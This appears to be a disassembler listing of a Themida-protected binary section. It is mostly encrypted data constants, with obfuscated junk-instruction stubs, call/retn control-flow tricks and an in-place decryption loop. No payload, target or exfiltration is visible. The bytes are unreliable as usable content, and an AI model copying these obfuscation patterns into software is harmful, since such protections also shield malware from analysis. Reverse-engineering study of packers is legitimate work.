dd 0FD91AB87h, 0BF44C123h, 1B13A622h, 127DA0B2h, 0FACF4C9Ch
dd 781440F9h, 57EC4E08h, 0B009FB5Bh, 0CDE5C260h, 0E4C15F39h
dd 4DA6BA99h, 0F944213Bh, 55A9021Eh, 623506C9h, 9326ACECh
dd 0AA000008h, 61CB0D2h, 63790D2Dh, 0C3D96D87h, 263CD0E4h
dd 0C29B2F4Bh, 2C48233Ch, 8AA88298h, 0EC02E0F6h, 4D654258h
dd 0D95606B9h, 13A82A22h, 77DC6BB0h, 1442A084h, 861A320Fh
dd 36862867h, 0A6EF21B9h, 0FDD67413h, 5CB5CDAAh, 98778924h
dd 0AC0521FCh, 0CAE0BE5Ch, 0E501DC7Ah, 0DE0012ADh, 5E25A204h
dd 0FC13A6F0h, 89678193h, 23B53B73h, 44000008h, 0F965424Dh
dd 0EC33BCD8h, 850252ABh, 13A69257h, 0EA4C9C05h, 0A693966Dh
dd 0C9DB4413h, 93A55603h, 112213A6h, 0DED62955h, 1CFFD877h
dd 28000001h, 12627856h, 48809674h, 7D59BADh, 0E303DC2Dh
dd 7FB710ABh, 84BCD4B1h, 2EC2D8B6h, 0EC243A18h, 0E3337B15h
dd 42A0A966h, 0D40C7514h, 1F1E461Dh, 41AF841h, 44D831CCh
dd 23A502Eh, 42A05255h, 82E4FC14h, 42A17E05h, 6173DC14h
dd 0BF9D80C4h, 9AF615A9h, 52C414h, 7D9371D4h, 9B4AAA45h
dd 3788287Bh, 0D35631D1h, 0D8A687Ah, 1442367Eh, 57754FEDh
dd 0C5FD6645h, 6BFF1DF7h, 716F391h, 4236F58Ah, 9FF86114h
dd 7B99738Dh, 4D987543h, 85205870h, 0AC051BF9h, 98DFBE5Ch
dd 1149A2BCh, 0E79E6476h, 0FE95410h, 6D475DF1h, 4F40174Fh
dd 0F0920F5Fh, 7E13A62Ah, 0C563C515h, 9D62CDEBh, 2A13A612h
dd 8E9F29Ch, 0ED89DA06h, 8FA1FA0Eh, 5F7D576Dh, 6E405027h
dd 82D6A11Eh, 137C13A6h, 194D24DBh, 20FB4C26h, 0D831CC04h
dd 36542E44h, 466827FEh, 0B30F79F6h, 64D61442h, 9BD72916h
dd 58374990h, 90C8DEBCh, 0F2089CF5h, 5066FA18h, 6E0C5C72h
dd 0A43F7793h, 4D9F7092h, 8C3C6542h, 0D59CD7FFh, 55AF2C7Ch
dd 1B13A691h, 76E87AB2h, 92A93AC4h, 0B8D2E41Fh, 5A2BBFDFh
dd 1762092h, 374CD9AFh, 1B930225h, 604536E3h, 0F1021442h
dd 8E6806B5h, 8B9D3870h, 5B514FB0h, 2488E0h, 56B10000h
dd 78255D7Dh, 1442A083h, 6910542Bh, 9ED6EECBh, 0FED7F103h
dd 0EE554ADEh, 64144285h, 0FFFFB720h, 7956AFFFh, 0A016ED6Ah
dd 5BC41442h, 18AABB02h, 0A04239B6h, 0A7101442h, 484DC095h
dd 7D4E1F66h, 5FE59A95h, 585BE5h, 97B0000h, 0DB202D15h
dd 34091BE9h, 1F66484Dh, 0A06E1592h, 83EC1442h, 15F4923Ch
dd 0B811EF01h, 16F492h, 0C2A12DC8h, 0C9DB76AEh, 66B6D6AFh
dd 15E734F4h, 3F512427h, 925B706Ah, 0EBF817F4h, 0F9FD4A9h
dd 0ADCEE47h, 31h, 0CAB12E90h, 88144271h, 9BF412ECh, 484DB489h
dd 15921F66h, 1442A06Eh, 68FBDABh, 0D4C0D002h, 0B18D2B7Bh
dd 0B2C45F97h, 563992DDh, 70165D7Dh, 607A565Bh, 0A0847B28h
dd 162E1442h, 0A04037B4h, 920F1442h, 1442A0EDh, 46AF0069h
dd 70EF9734h, 0D1507394h, 0F052922Fh, 0CFA94797h, 0C5463DBAh
dd 0AB141442h, 291E4052h, 1442D521h, 0E9425C38h, 0FFF433A5h
dd 7D5634FFh, 0E5AAC95Dh, 16FC79C9h, 0E413A680h, 0E596437Bh
dd 6213A680h, 0C8661551h, 0A75CD9EEh, 3313A680h, 9E3971CAh
dd 0FD4EB18Ch, 787D877h, 0B0000000h, 19Eh, 424D2D00h, 659F1C6Ch
dd 2B13A6A7h, 0E091B48Fh, 66B1FBA3h, 0A5F54EA7h, 0FD0F2D07h
dd 70906937h, 886402DCh, 0EF485C3Bh, 110A1CB7h, 13A69FA0h
dd 0EF839977h, 0D7B2FBD9h, 3B94AA88h, 94CBAAE2h, 0CD8CB831h
dd 7F25D05Bh, 4759395Bh, 0E9394F2Dh, 46586C4Bh, 0CDD84A24h
dd 0F23576B0h, 0AF54D121h, 2B13A631h, 0B996B0C2h, 0A78480A1h
dd 0F16E815Ch, 13A6310Ah, 0CE065FC8h, 288ADA33h, 5B93AF8Ah
dd 31AE55C0h, 0C32C13A6h, 0FC6702B1h, 0E0F8D548h, 6C49E7D7h
dd 6F811C54h, 0E56A959Ah, 0BA2CE7DFh, 217EC111h, 6C0B1DA3h
dd 0E3h, 6B434D95h, 1AF49224h, 0CD19EAF5h, 389159F7h, 3E543200h
dd 78F5D3E5h, 14425E86h, 92DD240Bh, 0EE95D339h, 0A0680F8Ch
dd 6AE71442h, 1442A095h, 1E87D841h, 3092370Ch, 666DF1BEh
dd 26918EC5h, 14427C51h, 2F0894FDh, 6E3FD0Fh, 3092A7EEh
dd 42A0CCB3h, 0F218A14h, 0D855B749h, 1442A023h, 5F3446AFh
dd 1F66484Dh, 9A957D4Eh, 1CE55FE5h, 4E86A47Eh, 3902A1B3h
dd 2B000000h, 8BF12092h, 30F9DC2Ah, 149AFB1Eh, 0FE4926C4h
dd 34CF0723h, 92F4C9DBh, 42A06E15h, 7250EC14h, 3089245Ch
dd 4C6642E0h, 3992653Ah, 165D7D56h, 1D9E5B70h, 2D000000h
dd 1F66484Dh, 115F492h, 3E1C2EC9h, 42A03AC1h, 29705714h
dd 7D563992h, 5B70165Dh, 0B8923092h, 0A0482F9Ah, 9D061442h
dd 0FF0BB98Bh, 5648FFFFh, 0AF116179h, 42A04D32h, 8EA00914h
dd 51DFAC8h, 713D5271h, 8CA88321h, 0AD1F9C7Ah, 0E313A6B3h
dd 12B0427Ah, 0E071939h, 13A6B46Dh, 78B0CAA6h, 7AB2D0AAh
dd 3FB4D2ACh, 1C743C68h, 0DC235B0Bh, 0BAD87809h, 0A8561F48h
dd 0EDFF4BAFh, 584Eh, 424D7700h, 0D455B39h, 4CC91972h
dd 13A6A986h, 0A05BE355h, 41A10D1Ah, 0D9B4502Fh, 7F2C64BDh
dd 13A6D3FCh, 0EB233917h, 19F73E1Dh, 0D730CB03h, 0ED99609Fh
dd 83C4DA5h, 779EAB54h, 2F7BEDD8h, 2B851E86h, 4B64DCAh
dd 0BB2413A6h, 0E3F7D662h, 5FFE10ABh, 0BDh, 61795688h
dd 64805B29h, 55289A2Ch, 0DC4A9E74h, 7D5A7486h, 825F2D65h
dd 52E1D66Ah, 0C5144291h, 263CD0E8h, 6FE13149h, 18F5624Ah
dd 0CD2DC800h, 0E5F7F15Dh, 6747481Fh, 0A50C9A17h, 0F15A13A6h
dd 6E5835Dh, 0D2BDE0F2h, 3B0F8CDCh, 39144050h, 7E280D0h
dd 0B7D57EBh, 8FFBF1ECh, 20F98545h, 1B2DC800h, 0B60A2601h
dd 62351572h, 0A3911757h, 9A000002h, 0F60CA0C2h, 5369FD1Dh
dd 0B3C95D77h, 162CC0D4h, 0B28B1F3Bh, 1C38134Ch, 7A987288h
dd 0DCF2D0E6h, 3D553248h, 0C946F6A9h, 13A83032h, 92CC5BA0h
dd 9DAF6420h, 6476063Ch, 45206F4Ah, 0C90119F6h, 0E87CD52Eh
dd 49DDF5D2h, 6C424D78h, 0A9E99F1Ch, 3EA713A6h, 0AAA65906h
dd 142513A6h, 4AC72950h, 13A6AAB5h, 7558B821h, 41FB1E75h
dd 0B54A2537h, 0E3D8774Dh, 3C4E6A45h, 0C69Dh, 7956C600h
dd 0FF37532Eh, 5D30B64h, 0E5FFDB2Ah, 5BCA3C8Ch
dd 380CE86Fh, 50B7A6D5h, 1D963DF0h, 32AB50CDh, 0BE271442h
dd 0A39E6ACh, 1D144236h, 7E942840h, 7A5189A1h, 0CC499915h
dd 13A638DEh, 708F238Ch, 71FF881Fh, 0F869EF08h, 0C1FCA813h
dd 60B9F4h, 0BDCB69D2h, 0AAFA5372h, 4024AA2Dh, 0F997F914h
dd 0E097021Eh, 331B89E9h, 6D084054h, 4827B31Ch, 4F61FC34h
dd 19B70770h, 788E223Eh, 52D819Dh, 0D8623574h, 1981298h
dd 0CDA50000h, 280117ABh, 825E7408h, 0DFBED468h, 462137CBh
dd 37BD962Ah, 9327431Eh, 0F185A37Dh, 53E7FDDBh, 0B448603Dh
dd 2FD45101h, 0AB13A831h, 7B56D766h, 0D8B5CB5Fh, 565B2CC0h
dd 5B296179h, 0D2205F7Eh, 4445C9D7h, 7D185066h, 0DD7BCB24h
dd 16B1E9FFh, 6B3106B6h, 55679491h, 337B1433h, 58CC66E3h
dd 319313A6h, 0A65FCFB4h, 10228B13h, 6DB89531h, 0C61F7890h
dd 0ADFED876h, 245CB5D3h, 0FB997789h, 18B6061Eh, 0F1132539h
dd 0AEE6FEDBh, 1C63AA1Ch, 2D8DA984h, 7183C729h, 1D6D414Eh
dd 4CB83BA0h, 0B2E65814h, 0BE0B7770h, 9F08E7F9h, 3223F14Bh
dd 3AC00062h, 0DEh, 0D165875Fh, 2EC2E2BBh, 8E223C18h, 0F1859978h
dd 50E400DBh, 0FDD87177h, 5D374DE1h, 0B795AB3Fh, 1AF70DA1h
dd 0BBB6E02h, 0A832E98Eh, 91206513h, 1C6C424Dh, 7587A37Eh
dd 56D33597h, 1442A0A1h, 9AB6912Dh, 0BEDAB541h, 0E0D9EB86h
dd 13A8D5FFh, 24F22A93h, 323FC47h, 87D730CBh, 847F6115h
dd 78D87AD0h, 98069E1Dh, 7092A4C5h, 2D657D5Ah, 0DE0A7680h
dd 7AC3A173h, 0B24D859Dh, 77532159h, 0C144255Dh, 2EABCD85h
dd 122A0776h, 2806A47Eh, 0DF3FDA12h, 0A4B241FBh, 0DCF608A8h
dd 1DAFE7FFh, 2686A67Fh, 8A3A0DF5h, 0D2ECFEB9h, 0F0A7DFF3h
dd 15F26D19h, 765369FDh, 1FA0265Eh, 26000000h, 0CC4352C4h
dd 237963E0h, 23B1C3B8h, 6C13907Ch, 0EA7C23B1h, 0B6943081h
dd 603547A0h, 7E563E8Dh, 7956245Ch, 7D5B2961h, 87612F67h
dd 88633169h
db 6Ch
byte_5EB785 db 34h, 66h, 8Bh ; DATA XREF: Themida_:00583288o
dd 8A69376Fh, 94703E76h, 9B74427Ah, 68EE437Bh, 15F3h, 53242489h
dd 4BBh, 245C0100h
; ---------------------------------------------------------------------------
add al, 5Bh
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
sub esp, 4
mov [esp], ebp
mov ecx, 36742124h
add ecx, 4AF769F9h
and ecx, 19A66C0Eh
inc ecx
dec ecx
push eax
mov eax, 265C4B52h
or ecx, eax
pop eax
sub ecx, 1F93D340h
push esp
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
sub dword ptr [esp], 171E3553h
pop dword ptr [ebp+8]
add dword ptr [ebp+8], 171E3553h
mov ebp, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
db 91h
dd 82AA2345h, 0EA930CB8h, 50C50307h, 2C2D85C6h, 684707E4h
dd 0CF381725h, 19DB5FFh, 858D07E4h, 7E43BDCh, 0D88BD0FFh
dd 3359858Dh, 685007E4h, 104h, 85C6D3FFh, 7E42C2Dh, 0F8BF6853h
dd 0B5FF8307h, 7E4019Dh, 3BDC858Dh, 0D0FF07E4h, 75E48589h
dd 0BD8307EAh, 7E4015Dh, 0B840F00h, 8B000000h, 0E415519Dh
dd 5E907h, 0BB0000h, 68000000h, 100h, 75E8B58Dh, 535607EAh
dd 14C195FFh, 0B58D07E4h, 7EA75E8h, 1E9F003h, 4E000000h
dd 0F5C3E80h, 984h, 2F3E8000h, 0FFED850Fh, 6C6FFFFh, 0E8858D00h
dd 5007EA75h, 75E495FFh, 0FF5807EAh, 0B8C17FE0h, 0A1B6E07Fh
dd 8228F116h, 35731F57h, 0B927115Bh, 0A779B577h, 0D7675F3Eh
dd 461BED58h, 0ED32D20Fh, 0A2D3BC0Ah, 0E359B41Fh, 78B86D57h
dd 2EB8D857h, 737BBA6Dh, 37B59244h, 0C9E34C14h, 1C3EA34Bh
dd 1413516Bh, 4C56DA5Ch, 9832B53Bh, 4CF2CA37h, 0F7A0F70Ch
dd 0D8B10F45h, 593B3D37h, 0BE85Fh, 17560000h, 72A28EE1h
dd 85B2F8B0h, 2810FEFh, 0B4000000h, 81665F80h, 8179D7F0h
dd 63E4C7h, 0F3B70F00h, 0BBh, 0C0E98000h, 811F148Bh, 0AE6D05EAh
dd 148E0F71h, 0E9000000h, 0Fh, 9D4E5BAFh, 87FA5F8Ch, 41550EC8h
dd 815263DEh, 89DFF7C2h, 81CE8B32h, 990EB0EAh, 0B9A8B87Dh
dd 0E9526DE4h, 12h, 153E4D7Eh, 764FC208h, 444F80BAh, 0B50B4DCDh
dd 48FBD91h, 0D881661Fh, 6E904C7h, 0A4000000h, 0FBBF098Ah
dd 3EB83F8h, 0BE951h, 94DB0000h, 6393804Eh, 0F057B7B1h
dd 0E84B5E7Eh, 13h, 0D83B0DECh, 93FC2648h, 0BB9D773Fh
dd 0EC5763F9h, 5043DDB4h, 5E5EC68Bh, 9CE8FB81h, 850FFFFFh
dd 0FFFFFF60h, 0E29DE81h, 1AE96BFBh, 0F6000000h, 1AF7B3h
dd 5 dup(0)
dd 58EE900h, 39110000h, 946D8317h, 0EECAE074h, 4B2A40D4h
dd 0B28DA337h, 0C3290296h, 0FF93AF8Ah, 5DF10FE9h, 0BF536947h
dd 20B4CCA9h, 0BB40BD6Dh, 1713A835h, 309243D2h, 659DB592h
dd 0A0985FCAh, 0CD361442h, 0ACC4A1BBh, 1990EA5Ch, 0B626FC5Dh
dd 0DA4CDEA4h, 0D1F1FD44h, 87A1B34Bh, 22FC90ACh, 858E2CB0h
dd 0D1FD815h, 0C6FE16F3h, 9A21C234h, 2A83EE9Eh, 0D621FE18h
dd 0B5D5AEF9h, 3089245Ch, 31512AF8h, 4C6843E1h, 0CCA6743Ah
dd 0CDA876AEh, 981579B1h, 582A4ECh, 3BB81A41h, 1442A744h
dd 0A800A903h, 8FE09090h, 1DFA1426h, 7D5B7105h, 87F9D367h
dd 43200C45h, 0F858F32Bh, 0BD9B0DDEh, 223C4EA7h, 64F62E44h
dd 57457AF2h, 0B9CBBE1Dh, 6FA7C59Fh, 0BAA5E1B8h, 1C32C6DCh
dd 42EF273Fh, 14424FB8h, 0C0FCA865h, 0E05B223Fh, 6598h
dd 411AB800h, 52B2C121h, 0A5B24B2Dh, 0F492BE93h, 0D5EF0115h
dd 0F290E0F8h, 22E8FA18h, 42A08875h, 1A320F14h, 193614E2h
dd 0BC0490D9h, 336BC447h, 6792DF4h, 0B6B81129h, 0BEC246B8h
dd 47E2B947h, 0B0EC9835h, 0E05BE24Fh, 188h, 7D56B100h
dd 7E57255Dh, 7958265Eh, 4CC92D65h, 2C4C2518h, 8DA58298h
dd 7B5628F9h, 8059275Fh, 0A017EC69h, 5AC31442h, 0F6BE09FAh
dd 78D18FE5h, 0D390240h, 0CB1B3712h, 51DFA659h, 0DAFF9064h
dd 7795D1ECh, 0AACCDE37h, 679FB794h, 579CBD99h, 0A6BE8858h
dd 7CE7EEC7h, 70E2381Ch, 92EB0BE4h, 0F7AFC05Ah, 5BF568C7h
dd 0F1D06EE0h, 0F80AA5DDh, 0A359h, 7B568200h, 7D59275Fh
dd 7F5D2B63h, 63E5C36h, 48DA126Bh, 42A034CBh, 0AD39A214h
dd 0B07EB6D2h, 9A1DBCD2h, 784A6EAh, 0E905E05Fh, 48643F55h
dd 48634210h, 968069F7h, 0ED3D9642h, 4759734Fh, 0BDD7B381h
dd 0C0DCB785h, 63E5834h, 2A6125A2h, 0DBE33C96h, 0F048A1D3h
dd 38F7A7DFh, 7EE05B3Bh, 7ED89F1Ch, 0D761442h, 5A5CFBh
dd 1A7C0000h, 427EE69Dh, 455B3914h, 0B821720Dh, 7B56D1A6h
dd 0F795275Fh, 3ACC0418h, 42A0C6BDh, 0D22B9414h, 0ABC8A6C0h
dd 5B4AEBFBh, 5E96EFADh, 0D34AFA7Dh, 7748DCF8h, 0D5D7D56h
dd 885906Fh, 1442A073h, 0B1D76DFh, 0A0E69845h, 0FEBB1442h
dd 11E91646h, 1EEE05Ch, 17000000h, 28607A56h, 11DF896h
dd 0C5BA37C9h, 911442A0h, 6843CF28h, 6779144Ch, 0E461704Dh
dd 1442A11Fh, 0C1F952BBh, 0C80014F3h, 0CC041EFAh, 743C68EBh
dd 17C28FFh, 58770B25h, 0AA277737h, 13A69064h, 0C391C932h
dd 75CFC7E6h, 0F712E966h, 57C013A6h, 819D93F7h, 0A17E9428h
dd 0BC9B3989h, 0C3D570A8h, 65AD50FDh, 54D713A6h, 38502D10h
dd 99B18EA4h, 0FD5DCF61h, 4C7EB0BFh, 5D7552DEh, 3C54314Bh
dd 49FDC604h, 91E1F9D6h, 0F2CDB22Fh, 208913A6h, 0EA15EC0Eh
dd 0EBD877BFh, 13Dh, 39424D14h, 730E465Ah, 934DCA1Ah, 4113A6BEh
dd 0F5D2A0D8h, 563349DDh, 5B38063Eh, 4CD0B43h, 0F100DD40h
dd 0A6BE8F74h, 89E24B13h, 0F3E11EF5h, 6DF6D877h, 16000000h
dd 71839B78h, 0BC20929Ch, 40A6F512h, 3CC34090h, 9A144275h
dd 95FC1F31h, 574CC919h, 36BBD8Ah, 156E8E67h, 754B30DDh
dd 0EDCC9442h, 0F6D3A1D9h, 0C542A6DEh, 0A7C39E81h, 7E7BD46Fh
dd 0A878FB7h, 80F254A4h, 1BA682ADh, 0FEDB6717h, 0C4DBD4E6h
dd 92EBBDBDh, 623BD929h, 5D6F0A42h, 0A36D3Bh, 81F30000h
dd 9F70DFCh, 10E5F747h, 1C6C424Dh, 0A6B9F59Fh, 21FE9C13h
dd 0A8E0FAD6h, 0C3A2B40Dh, 0F290225Ah, 0D0EAFC16h, 6D47DBF3h
dd 1E872FFBh, 0EDFFE0C3h, 8ED7F6D3h, 0A4E835C3h, 0D19DE5Bh
dd 4CB513A6h, 0B5629AF3h, 13A60D35h, 8F8EB639h, 2C069AB2h
dd 889AB08Eh, 34842A65h, 4C9B58B7h, 0AA892714h, 0B1C35E96h
dd 0A71969D2h, 0A2BE9477h, 0F70DEB17h, 0B9CB24BFh, 0F6EF61F3h
dd 0A93FCD8Ch, 0D0ADC7D9h, 338CAC85h, 4C6C45E3h, 0A1677914h
dd 0E35313EAh, 35B202ACh, 1C670AD6h, 0CDA73BA4h, 283A522Fh
dd 92309253h, 0CB669EB4h, 42A09B60h, 42CE3714h, 77124A68h
dd 614D4265h, 35779411h, 9A0313A8h, 9FB79462h, 18F50Bh
dd 1E5C1BC8h, 11EF0EB5h, 1AF5C3FBh, 0E562C6FEh, 52CFF1A1h
dd 364E2B12h, 97AF8CA2h, 0DB5BCD5Fh, 0AD1A8ADEh, 0EA52CE2Eh
dd 6A049CE7h, 545F3E58h, 453A20D7h, 0EC45AE31h, 0ED0DE6B4h
dd 0FC09E7B5h, 453AF87Fh, 94ED5631h, 0CB7BF85Ch, 0B3B1287h
dd 8B1F3714h, 0B6799875h, 4620A1E3h, 0E039532Fh, 1FBD4F87h
dd 44162844h, 3, 563E8DD3h, 56245C7Eh, 5B296179h, 612F677Dh
dd 63316987h, 66346C88h, 69376F8Bh, 703E768Ah, 74427A94h
dd 0EE437B9Bh, 81E38953h, 4C3h, 4EB8300h, 8B241C87h, 89512424h
dd 4C181E1h, 81000000h, 4E9h, 240C8700h, 240C895Ch, 81E18951h
dd 4C1h, 4E98300h, 5C240C87h
; ---------------------------------------------------------------------------
loc_5EBF84: ; DATA XREF: Themida_:00583A30o
mov [esp], edx
push 7EA95BBh
mov ecx, [esp]
add esp, 4
push esp
mov edx, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
pop dword ptr [edx+8]
mov edx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
mov ecx, [esp]
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_58A287
; ---------------------------------------------------------------------------
mov ds:0EA9AC1B8h, al
pop es
add eax, ebp
jmp eax
; ---------------------------------------------------------------------------
db 29h, 0FFh, 6Eh
dd 615B4F25h, 9291570Eh, 40E63867h, 8E47A636h, 3E791208h
dd 0F87E5139h, 3BB73B61h, 8E060C5Dh, 0C2EF372h, 0F662504Ch
dd 1C95BC21h, 155FB20Eh, 186E6136h, 1A6DD123h, 54565A04h
dd 89010624h, 0EF69E262h, 0A4FE6129h, 561DA170h, 0DAB3CF35h
dd 76CB8D28h, 3DD1D10h, 4B88F84Ch, 0C1B89974h, 7F315564h
dd 0F62A321Ch, 0B9BD3202h, 2596197Ah, 9AD93D14h, 868D8D2Eh
dd 0F07EA9Ch, 8D89C1B7h, 7E41B71h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 1Ah, 3CC35646h, 9F6178B7h, 85C771DEh
dd 7E42DA1h, 599Ch, 0FDEBF0Fh, 85C7FEBFh, 7E422B9h, 0
; ---------------------------------------------------------------------------
push 0
push eax
call sub_5EC0AB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EC0AB proc near ; CODE XREF: Themida_:005EC0A3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 18h
inc eax
push eax
retn
sub_5EC0AB endp
; ---------------------------------------------------------------------------
db 0E5h
; ---------------------------------------------------------------------------
push 8B51A599h
mov ebp, 7E40A65h
push dword ptr [ebp+7E40635h]
push ecx
mov [ebp+7E40915h], edx
pop eax
call dword ptr [ebp+7E43061h]
push 0
push ebx
call sub_5EC0E5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5EC0E5 proc near ; CODE XREF: Themida_:005EC0DDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_5EC0E5 endp
; ---------------------------------------------------------------------------
db 0A5h, 79h, 0F4h
dd 0E7008B23h, 0D3BF0F4Bh, 2631858Bh, 8B6007E4h, 6A61D8h
dd 0E4195FFh, 0C08B07E4h, 2EC628EBh, 936CEED6h, 0B2A13AAFh
dd 2538AC54h, 119882D8h, 773E1F58h, 7399AED2h, 0C808EBF9h
dd 0BEF60D09h, 4AB7C5Fh, 8D8DE406h, 7EA9D59h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 0C2C35545h, 0C22737A8h
dd 8BA7A984h, 0E42D59BDh, 718D8907h, 0E907E41Bh, 0Eh, 0D4D0127Fh
dd 0C3283044h, 95EF2559h, 85C76E50h, 7E42DA1h, 736Ch, 0C761F560h
dd 0E422B985h, 7, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1804h, 0C3534300h, 48B9D9BDh, 69BD8B71h
dd 0FF07E423h, 0E41E15B5h, 5B50907h, 0FF07E40Ah, 0E4306195h
dd 0BD88B07h, 0E41ECD9Dh, 0FF006A07h, 0E40E4195h, 0EBC08B07h
dd 8B22A679h, 66013441h, 0DF7C53B2h, 24F2F978h, 91CBEB32h
dd 5081D47Bh, 7909EC3Ah, 0CD74D480h, 8B5DEFFDh, 0A418B1EAh
dd 0A28F113h, 54304086h, 4E82FE2Ah, 79A5F166h, 8B23F4h
dd 7E6C4BE7h, 4457EB9Eh, 8BAD1615h, 0ED5E811Ah, 0FF261D9Bh
dd 6F264DD6h, 27028F1Fh, 6EEEC8E7h, 0CCB5EC86h, 27CF5B1Eh
dd 0EC42F5EAh, 74D173F1h, 66F78B08h, 0E9375A58h, 0F01AB8B9h
dd 5E8257Bh, 89000000h, 837EEB97h, 81B589h, 815907E4h
dd 7431C1h, 0A1850100h, 0BF07E413h, 0
dd 2639BD89h
db 0E4h, 7
; ---------------------------------------------------------------------------
loc_5EC28A: ; CODE XREF: Themida_:005EC2CEj
mov ebx, [ecx+edi]
cld
add ebx, 472A04E4h
mov [ebp+7E420B1h], eax
sub ebx, 7F158CE9h
mov esi, [ebp+7E431DDh]
add ebx, 5B7AACF8h
mov dx, 6864h
mov [ecx+edi], ebx
mov [ebp+7E40191h], ecx
mov esi, [ebp+7E41BEDh]
sub edi, 4
mov edx, [ebp+7E41FA5h]
cmp edi, 0FFFF8C38h
jnz loc_5EC28A
call sub_5EC2E8
jg short near ptr loc_5EC307+1
sub [esi-0AE4DCFCh], dh
or [eax-2D5DD126h], edx
; ---------------------------------------------------------------------------
db 0EBh
; =============== S U B R O U T I N E =======================================
sub_5EC2E8 proc near ; CODE XREF: Themida_:005EC2D4p
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = dword ptr -16h
; FUNCTION CHUNK AT 0058A287 SIZE 0000004D BYTES
; FUNCTION CHUNK AT 0058A58E SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058A801 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058A82E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058B00A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058B085 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B6B0 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058B72C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058B9A8 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058BB23 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0058BB94 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0058BBFA SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058BD46 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058BD84 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0058BF3F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0058C450 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058C48D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058C584 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058C6A6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0058C717 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058CB00 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0058CC2F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058CE0B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058CEC2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D051 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0058D0BC SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058D85C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058D8FC SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0058DA5E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DA9F SIZE 00000029 BYTES
; FUNCTION CHUNK AT 0058DC36 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058DCE0 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058DDC1 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058E4EB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058E6B9 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0058EB86 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0058EEDD SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0058F22F SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0058F508 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0058F534 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0058F748 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0058FB47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0058FFA2 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00590072 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005904A9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005904D1 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00590682 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00590CE7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00590E4A SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059129D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00591339 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00591954 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00591C9E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00591F80 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059215C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059230E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0059245E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00592757 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00592988 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005929A0 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00592A0C SIZE 0000000B BYTES
